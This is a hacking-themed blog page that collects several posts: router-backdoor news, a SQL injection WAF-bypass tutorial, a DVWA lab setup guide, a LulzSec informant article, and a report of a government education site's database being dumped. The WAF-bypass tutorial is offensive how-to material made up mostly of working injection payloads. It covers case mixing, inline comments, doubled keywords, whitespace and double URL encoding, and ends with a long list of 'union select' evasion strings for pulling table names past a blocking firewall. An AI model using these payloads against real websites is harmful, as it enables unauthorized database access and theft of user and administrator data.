Captain Teemo On Duty

Backdoor Discovered In Netgear and Linkys Routers

<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd8y-rfIVJ80GeFiKjtBWteB_MAjbbEO2IOKNAA81-0Ur9_agmK0hCd8e1swOLoXoYY_MYN6l-HNRBsXGtPPjW5AOspzZlpEmOw8w30jGpNR8aXuzrUthlY4zLnxZgLXnyJbPNsspcZMo/s1600/wifibackdoor-640x390.jpg" /> 
 Now tell me, whos using  Linksys WAG200G  and Netgear routers? 
well,"A hacker has found a backdoor in the Linksys WAG200G router, that gives <a href="http://arstechnica.com/security/2014/01/backdoor-in-wireless-dsl-routers-lets-attacker-reset-router-get-admin/" style="background-color: white; color: #999999; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-decoration: none;">access to the admin panel without authentication</a>. Further research shows that these devices are made by Sercomm, meaning that Cisco, Watchguard, Belkin and various others maybe affected as well. From the article: 'The backdoor requires that the attacker be on the local network, so this isn’t something that could be used to remotely attack DSL users. However, it could be used to commandeer a wireless access point and allow an attacker to get unfettered access to local network resources.'" 
 
source: http://it.slashdot.org/story/14/01/02/2314259/backdoor-discovered-in-netgear-and-linkys-routers?utm_source=slashdot&utm_medium=twitter

Backdoor Discovered In Netgear and Linkys Routers

Now tell me, whos using Linksys WAG200G and Netgear routers? well,"A hacker has found a backdoor in the Linksys WAG200G router, ...

SQL Injection Complex Waf bypassing

<img height="480" src="http://cdn.slidesharecdn.com/ss_thumbnails/bypassing-waf-110328064503-phpapp02-thumbnail-4.jpg?cb=1301313614" width="640" /> 
<h2 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 19px; font-weight: normal; margin: 0px;">
Assalamualaikum </h2>
 
Note: Before starting this topic, I want to clarify that I won't be covering on basic SQL Injection attacks. This article is meant for WAF /Filter bypassing during Injection. 
 
<h3 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 17px; font-weight: normal; margin: 0px;">
What is WAF?</h3>
WAF stands for Web Application Firewall. It is widely used nowadays to detect and defend SQL Injections and Cross Site Scripting (XSS) attacks. 
   
How does it Work?  
 
When WAF detects any malicious input from end user, It gives  403 Forbidden, 406 Not Acceptable or any Kind of Custom errors  
<img height="174" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjojiX-5IANgORF_zjSEXczNW3AFs2K9BpSdI5OmhyphenhyphenzI2ozBhxtaixa9HD4IDP5WlwBPHDORrdRhdD3OyOg3Ye1YYN1Os0HM3JRupckJN2fbK7FZmBLo_PXePKcllgj6A12P2SNvXaL4eQ/s640/1.png" width="640" /> 
<h3 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 17px; font-weight: normal; margin: 0px;">
What to do next?</h3>
 
So, what to do next? we cant do our further injection right?  
Well its time to use various techniques to bypass thing. Some of these techniques are mentioned below: 
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# Case Changing:</h4>
 Most of the Waf's only filter lowercase or higher-case keywords. We can easily evade that kind of wafs by using alternate case.  
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
if union select is forbidden , we can always try UNION SELECT instead. And if both does not work, We can try our luck with using mixture of both. like UniOn seLeCt</blockquote>
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# Using Comments</h4>
 SQL comments really help us in many cases. They play their important role in killing some Waf's Restrictions. e.g 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
                                            // , -- , --+ , #, -- - </blockquote>
 
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# Inline Comments</h4>
 
Some WAF’s filter keywords like /union\sselect/ig We can bypass these filters by using inline comments most of the time 
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
http://localhost/waf.php?id=1 /*!union*/  /*!select*/ 1,2,3--</blockquote>
<img height="215" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqp79qRE96tkMrmhETqWF_6nXF418c3k66_IdVJZqfJNwLGfTti31_Otl0lJ7DdHigbYXVjqQ32R-cpM7wR4NiMo5UpGxHn17OtbA8DQneb4jk0hsDCQrZk0PubnjkKq21rl7RBa9VsI/s640/2.png" width="640" /> 
Tip: Read SQLi Errors carefully. Sometimes they left error from which we can have idea that how waf is working on this site. 
 
Anyways, We were talking about Filtered Keywords. So it does not mean  that waf is only filtering union select. It may be filtering all SQL keywords like table_name, column_name etc 
So might need to apply these inline comments on those keywords as well. Example 
 
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
http://localhost/waf.php?id=1 /*!union*/ /*!select*/ 1,2,/*!table_name*/,4,5 /*!from*/ /*!information_schema.tables*/ /*!where*/ /*!table_schema*/=database()--</blockquote>
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# Double use of Keywords</h4>
 
Sometimes WAF removes whole keyword from the query and execute it and throw errors 
In such cases, we can use keywords in this way 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
http://localhost/waf.php?id=1 UNunionION SELselectECT 1,2,3,4,5,6--</blockquote>
Anyways It totally depends upon the scenario. Im just giving a common Idea. Rest is upon you that how you use it. 
 
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# Using Different types of Whitespaces</h4>
Sometime Waf may be filtering the whitespace we are using between keywords. We mostly use Spaces But space is not the only whitespace we can use in SQL injection. We have some other options as well 
  for example + .  
%20 is use for space, but we can try using one of these whitespaces . some examples are %09  %0A  %0B %0C %0D %A0 
 inurl:  
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
 union%0Bselect%0B1,2,3--</blockquote>
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# Encoding</h4>
 
We can always try our luck with URL encode thing to bypass WAF. For example we can use  
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
union select 1,/*!table_name*/,3 from information_schema.tables where table_schema=database() 
 as   
 union%20select%201,%2f%2a%21table_name%2a%2f,3%20from%20information_schema.tables%20where%20table_schema%3Ddatabase%28%29</blockquote>
but sometime waf filter also filter % itself. So we have to use double URL encoding in that case 
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
 union%2520select%25201,%2f%2a%21table_name%2a%2f%2520,3 from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529</blockquote>
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# Unexpected Input</h4>
 
This scenario is very rare that we have to use buffer overflow or give unexpected query /request  to trick WAF filters. 
for example: 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
 
http://localhost/waf.php?id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,3,4,5--</blockquote>
 This thing only worked once for me. But knowledge is Power, may be you face any scenario that can be bypassed by using buffer overflow 
 
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# use all above mentioned techniques together </h4>
 
ah.. tried all those things but still its showing NOT ACCEPTABLE or FORBIDDEN. well its time to use all these above mentioned techniques combined. 
For example: you can use alternative cases with inline comments or obfuscation. 
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
#Some Common Union Select Solutions: </h4>
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
 %55nion(%53elect 1,2,3)-- - +union+distinct+select+ +union+distinctROW+select+ /**//*!12345UNION SELECT*//**/ /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ +#uNiOn+#sEleCt +#1q%0AuNiOn all#qa%0A#%0AsEleCt /*!%55NiOn*/ /*!%53eLEct*/ /*!u%6eion*/ /*!se%6cect*/ +un/**/ion+se/**/lect uni%0bon+se%0blect %2f**%2funion%2f**%2fselect union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A REVERSE(noinu)+REVERSE(tceles) /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3) /*!union*/+/*!select*/ union+/*!select*/ /**/union/**/select/**/ /**/uNIon/**/sEleCt/**/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ +union+distinct+select+ +union+distinctROW+select+ uNiOn aLl sElEcT</blockquote>
 I hope you have enjoyed this article. Please give us your feedback. So that we maybe able to make things more clear for you next time . 
 
I learned comlplex waf bypassing to sqligods 
Credits to SQLI GOds for this tutorial

SQL Injection Complex Waf bypassing

Assalamualaikum Note: Before starting this topic, I want to clarify that I won't be covering on basic SQL Injection attacks. This ...

How to setup Penetration testing LAB with DVWA

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBYUPA5BVSS12XhK1K3PBZ6CFwOr9XgB-qZyMcqFqKUPgUjTJ_HPTntyhiUPUe7CvwMrDt-vTv_C5kmUxNmAcE_HLLrJURHKDi4veIenwZkJncBCKNjGGLe4WVqA_4bMFrVvPD68H_Ofo/s1600/cc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="376" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBYUPA5BVSS12XhK1K3PBZ6CFwOr9XgB-qZyMcqFqKUPgUjTJ_HPTntyhiUPUe7CvwMrDt-vTv_C5kmUxNmAcE_HLLrJURHKDi4veIenwZkJncBCKNjGGLe4WVqA_4bMFrVvPD68H_Ofo/s1600/cc.png" width="640" /></a></div>
<div style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">
Good day friends, last time i posted a guide on how to xss websites, the filters and evations. Since finding hard in finding vulnerables sites for making tutorials, now i will guide you on how to to make or setup a pentesting lab with DVWA(Damn Vulnerable Web Application).</div>
<div style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">
 </div>
PentesterLab 
          PentesterLab provides vulnerable systems that can be used to test and understand vulnerabilities.Mostly White hat hackers or IT Security Team create a Penetration lab to practice their hacking tools, tricks and even to prevent hacking. Even beginner hacker also want to learn hacking skills like SQL Injection, XSS, CSRF attack etc, this all hacking tricks require a vulnerable website to Explode the Vulnerability and to learn hacking skills. 
 
DVWA(Damn Vulnerable Web Application) 
          Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment. 
 
How to Install DVWA on Windows Platform  
           Setting up DVWA pentesting lab on Windows system is very easy. 
just follow the steps given below. 
 
<ul style="background-color: white; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">
<li>Download <a href="https://github.com/RandomStorm/DVWA/archive/v1.0.8.zip" target="_blank">DVWA (Damn Vulnerable Web Application)</a> </li>
</ul>
<ul style="background-color: white; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">
<li>Download <a href="http://www.apachefriends.org/en/xampp-windows.html" target="_blank">XAMPP server</a> for Windows.<a href="http://www.apachefriends.org/en/xampp-windows.html" style="color: #999999; text-decoration: none;" target="_blank"></a></li>
</ul>
<ul style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">
<li>    Install Xampp server on Windows</li>
</ul>
<ul style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">
<li><div class="separator" style="clear: both; text-align: center;">
 </div>
</li>
<li>    Extract all files from DVWA to desktop    </li>
<li> </li>
<li>    Copy entire folder "DVWA" to "C:\xampp\htdocs"</li>
</ul>
<ul style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">
<li>    Now Start XAMPP Control Panel - Start [Apache] and [MySQL]<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4GGnJs8YA6bCWThcdOUc7p2HCvac2doHyBYut0bdUMnTTnHHF9wfli7kGOcjfCg7A6iIgAhRSwcgaLBvNUBr9Objnh90PVLCC8bXvdMnfj3tm2G0cgv5louOTk1MaX7DqJSd3vTrCzls/s1600/cc.png" imageanchor="1" style="font-family: 'Times New Roman'; font-size: medium; line-height: normal; margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="80" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4GGnJs8YA6bCWThcdOUc7p2HCvac2doHyBYut0bdUMnTTnHHF9wfli7kGOcjfCg7A6iIgAhRSwcgaLBvNUBr9Objnh90PVLCC8bXvdMnfj3tm2G0cgv5louOTk1MaX7DqJSd3vTrCzls/s1600/cc.png" width="640" /></a>            </li>
<li><img height="418" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUGj_TGVtRI9wzYvcbZR78i2g7zMjq8V4tkdlAfhr5ibLsZOT7nxQ6p4un6YhLgoXT964wlw9gOQ5w_eJQoY0k3L8DoyWfI9d7LHXHajwwNcUr1eQPkKeNwgeIvcu2zyJCkAEjbh-aLcs/s640/1.png" width="640" /></li>
<li><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgDnhR0Zv0TykGS8FU9vB6qBfZoH-1N-QbPOKsDeAAMQzEVQmydyfVCTe_nzSfxqRAxzcQgcwEzCH1x2OZ57jEvMx3MsViIncW77eU19QvBUxrT7xtfHTX4wZ5j_2WxclQZl-e3mMtKsE/s1600/3.png" /> </li>
</ul>

How to setup Penetration testing LAB with DVWA

Good day friends, last time i posted a guide on how to xss websites, the filters and evations. Since finding hard in finding vulnerables ...

Sabu wasn't the only FBI mole in LulzSec, suggest leaked docs

<h2 class="standfirst" style="background-color: white; font-family: 'Open Sans', serif, sans-serif; margin: 0px;">
Obvious question: who WAS the second snitch?</h2>
 
Leaked search warrants suggest Sabu wasn't the only LulzSec hacker who helped the FBI take down the infamous hacktivist group. 
The unredacted search warrants for ‪Sabu‬ and ‪LulzSec‬ refer to involvement of three different informants in the investigation, at least two of whom it is implied were members of the organisation. 
<div class="article_side_content not_moved" style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; line-height: 19.1875px;">
<div id="article-mpu-container">
<div class="adu" id="ad-mu1-spot">
<div id="ad-mu1-spot_ad_container">
Information from both Hector Xavier “Sabu” Monsegur and another unnamed internal mole were instrumental in supplying information that allowed Feds to acquire warrants against other LulzSec and Anonymous suspects. The two informants are referred to in the documents as CW-1 (confidential witness-1) and CW-2.</div>
</div>
</div>
</div>
Sabu started helping the FBI following his arrest in June 2011. The documents don't reveal the name of the second informant, but the Daily Dot <a href="http://www.dailydot.com/crime/lulzsec-anonymous-arrest-warrants-leaked-sabu/" style="background-color: white; color: #999999; font-family: Verdana, Geneva, sans-serif; line-height: 19.1875px; text-decoration: none;" target="_blank">suggests</a> this party might have been subjected to arrest in Ohio in June 2011 prior to informing on British LulzSec member Ryan Cleary, as well as implicating Ryan “Kayla” Ackroyd in a December 2010 hack against Gawker. 
A Twitter update from around this time from LulzSec <a href="https://twitter.com/LulzSec/status/83266104641859584" style="background-color: white; color: #999999; font-family: Verdana, Geneva, sans-serif; line-height: 19.1875px; text-decoration: none;" target="_blank">denouncing</a> "M_nerva" for helping the Feds supports this theory. 
 
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWCk3MSpZjx3u01HK7_8Eav6KK5PdbDbtQXXGrGkbrCgc1m59k5Aq6duEtgBNJUzb-K9sZeATd3P7i-s61QZqhtC68u3HeRRbxnPmqSqXkVrQEvEph1KA7fo1jhToGeJd1peSR_InpvJQ/s1600/22.png" /> 
One of 12 leaked documents (<a href="https://www.dropbox.com/sh/tigjvxyomk5di9l/2_qChr3TCd/sabu.pdf" style="background-color: white; color: #999999; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-decoration: none;" target="_blank">PDF</a>) provides justification for a search warrant against a Facebook profile, “lesmujahideen”, linked to Monsegur. At the time of the warrant on 7 June 2011, the Feds already had Monsegur's IP address, linking illegal actions online back to an internet connection in a New York apartment. Investigators made this crucial IP address link in April 2011, earlier than previously publicly suspected. 
The leaked documents (<a href="http://pastebin.com/RqNLAh50" style="background-color: white; color: #999999; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-decoration: none;" target="_blank">here</a> on pastebin) are mirrored <a href="http://www.scribd.com/collections/4415613/Lulzsec" style="background-color: white; color: #999999; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-decoration: none;" target="_blank">here</a> and through a Dropbox account <a href="https://www.dropbox.com/sh/tigjvxyomk5di9l/PfQEMtgF6h" style="background-color: white; color: #999999; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-decoration: none;" target="_blank">here</a>. 
LulzSec, for those who need a quick recap, was an infamous hacking crew that ran riot across the web during its "50 days of Lulz" between May and June 2011. Its victims included Fox, Sony, FBI-affiliated security outfits such as Infragard and HB Gary Federal, the US Senate, the Arizona State Police, the CIA and the UK's Serious Organised Crime Agency. 
Most targets were entertainment firms opposing file-sharing, information security outfits it wanted to embarrass, or law enforcement agencies. Tactics ran from basic website-flooding attacks to defacement and site redirection. In some cases the group published stolen data from compromised websites. 
Monsegur frequently acted as the group's ideologue as well as directing attack campaigns. He was the main man in a group that was nominally leaderless. He has already pleaded guilty to 12 counts of hacking, bank fraud, and identity theft but his sentencing has repeatedly been delayed. 
Three British members of the notorious LulzSec hacktivist crew and a hacker affiliate were convicted of hacking offences and sentenced last May. The youngest of the four avoided prison while the other three were <a href="http://www.theregister.co.uk/2013/05/16/lulzsec_sentencing/" style="background-color: white; color: #999999; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-decoration: none;" target="_blank">sentenced</a> to between 24 to 32 months behind bars. 
Other related arrests and prosecutions have taken place in the US and Ireland. 
Another hacking suspect – Jeremy Hammond (AKA Anarchaos), 29, of Chicago, Illinois, received a far tougher sentence. Hammond was <a href="http://www.theregister.co.uk/2013/11/15/judge_throws_book_at_stratfor_hacker_with_decadelong_sentence/" style="background-color: white; color: #999999; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-decoration: none;" target="_blank">jailed for 10 years</a> for a hack on <a href="http://www.theregister.co.uk/2011/12/26/stratfor_hack/" style="background-color: white; color: #999999; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-decoration: none;" target="_blank">security intelligence outfit Stratfor</a> that took place in December 2011. As many as 60,000 credit card numbers stolen as part of the hack were used to make fraudulent donations to worthy causes. 
Monsegur, acting as an FBI snitch at the time, tried to persuade the hackers who carried out the raid to store emails looted from Stratfor on a server controlled by the Feds. Information coaxed out of Hammond by Monsegur led directly to Hammond's arrest. ® 
 
Source:http://www.theregister.co.uk/

Sabu wasn't the only FBI mole in LulzSec, suggest leaked docs

Obvious question: who WAS the second snitch? Leaked search warrants suggest Sabu wasn't the only LulzSec hacker who helped the FBI ta...

Official Website of DepEd Quezon City Breached, Database Leaked

<h2 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 19px; font-weight: normal; margin: 0px;">
</h2>
<h2 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 19px; font-weight: normal; margin: 0px;">
 </h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLgNeqrFZnlBlfyELbsTC-gD4zg1io7kaxoXTxSCVYfWPRZVSf1sr5XA5kaQ3ez2hMjPa-YKGfdniO1OqycojSNQOeHCvQmMzLj4MSK5a5Z-c6nYWiq_WLiYFwroTGnNsln9Feif2a-0g/s1600/Philippine_Logo_by_Francis115.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="313" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLgNeqrFZnlBlfyELbsTC-gD4zg1io7kaxoXTxSCVYfWPRZVSf1sr5XA5kaQ3ez2hMjPa-YKGfdniO1OqycojSNQOeHCvQmMzLj4MSK5a5Z-c6nYWiq_WLiYFwroTGnNsln9Feif2a-0g/s1600/Philippine_Logo_by_Francis115.png" width="640" /></a></div>
<div>
 </div>
<div>
 </div>
<h2 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 19px; font-weight: normal; margin: 0px;">
 </h2>
<h2 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 19px; font-weight: normal; margin: 0px;">
Official Website of DepEd Quezon City Breached, Database Leaked</h2>
Meanwhile a hacker using a handle "<a href="https://www.facebook.com/vip3r.gov" style="background-color: white; color: #999999; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-decoration: none;" target="_blank">Vip3r</a>" initiated an attack to the website of DepEd (Department of Education Quezon City) and got in and dumped the website’s database (<a href="http://www.depedqc.ph/" style="background-color: white; color: #999999; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-decoration: none;">http://www.depedqc.ph/</a>). 
 
A paste hints it is vulnerable to a SQL injection, specifically a Union Based SQL Injection Vulnerability.  
 
Vip3r <a href="https://www.facebook.com/vip3r.gov/posts/206491036217402?stream_ref=10" style="background-color: white; color: #999999; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-decoration: none;" target="_blank">Discloses</a> the Database names, tables in current database, and also the login data of the administrators of the specified site with 3 Entries. 
 
See the SQL injections payload in the public paste <a href="http://pastebin.com/kZzdXQeR" style="background-color: white; color: #999999; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-decoration: none;" target="_blank">here</a>.

Official Website of DepEd Quezon City Breached, Database Leaked

Official Website of DepEd Quezon City Breached, Database Leaked Meanwhile a hacker using a handle " Vip3r " initiate...

Backdoor Discovered In Netgear and Linkys Routers

SQL Injection Complex Waf bypassing

How to setup Penetration testing LAB with DVWA

Sabu wasn't the only FBI mole in LulzSec, suggest leaked docs

Official Website of DepEd Quezon City Breached, Database Leaked

InfoSec